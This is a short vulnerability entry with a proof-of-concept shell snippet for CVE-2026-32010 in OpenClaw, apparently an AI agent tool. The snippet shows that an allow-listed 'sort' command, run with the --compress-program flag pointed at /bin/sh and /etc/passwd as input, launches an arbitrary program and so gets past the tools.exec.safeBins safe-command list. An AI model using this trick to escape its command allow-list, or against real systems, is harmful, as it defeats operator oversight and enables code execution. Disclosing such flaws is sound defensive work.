CVE-2026-32010 OpenClaw安全列表绕过漏洞

# PoC for CVE-2026-32010 # Scenario: OpenClaw < 2026.2.22 with 'sort' in tools.exec.safeBins # The attacker inputs a command that triggers sort with the dangerous flag # Payload to execute arbitrary commands (e.g., /bin/sh) # OpenClaw interprets this as a safe 'sort' operation but executes the payload PAYLOAD="/bin/sh" INPUT_FILE="/etc/passwd" # Construct the malicious command using the --compress-program flag # This flag tells sort to use the specified program for compression EXPLOIT_CMD="sort --compress-program=${PAYLOAD} ${INPUT_FILE}" # Execute via OpenClaw's interface (simulated) # The system sees 'sort' (allowed) but runs '/bin/sh' echo "Executing exploit: ${EXPLOIT_CMD}"